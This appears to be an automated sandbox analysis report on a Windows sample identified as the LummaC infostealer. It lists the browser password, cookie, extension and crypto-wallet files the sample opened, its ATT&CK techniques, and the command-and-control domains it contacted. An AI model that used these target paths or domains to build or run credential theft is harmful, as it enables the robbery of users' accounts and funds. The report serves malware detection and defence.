Source: file.exe, 00000003.00000003.2165330724.0000000001391000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior

Source: Yara match	File source: 00000003.00000003.2118733198.0000000001379000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2118075950.0000000001379000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2130598412.0000000001379000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2147992648.0000000001379000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2149945390.000000000137B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4088, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 4088, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	12 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	151 Security Software Discovery	SMB/Windows Admin Shares	31 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	12 Virtualization/Sandbox Evasion	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	43 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	32%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
forbidstow.site	104.21.41.39	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
servicedny.site	true	unknown
goalyfeastz.site	true	unknown
contemteny.site	true	unknown
opposezmny.site	true	unknown
authorisev.site	true	unknown
faulteyotk.site	true	unknown
https://forbidstow.site/api	true	unknown
seallysl.site	true	unknown
forbidstow.site	true	unknown
dilemmadu.site	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000003.00000003.2102801748.000000000389B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102843367.0000000003898000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000003.00000003.2102957593.0000000003898000.00000004.00000800.00020000.00000000.sdmp	false		unknown
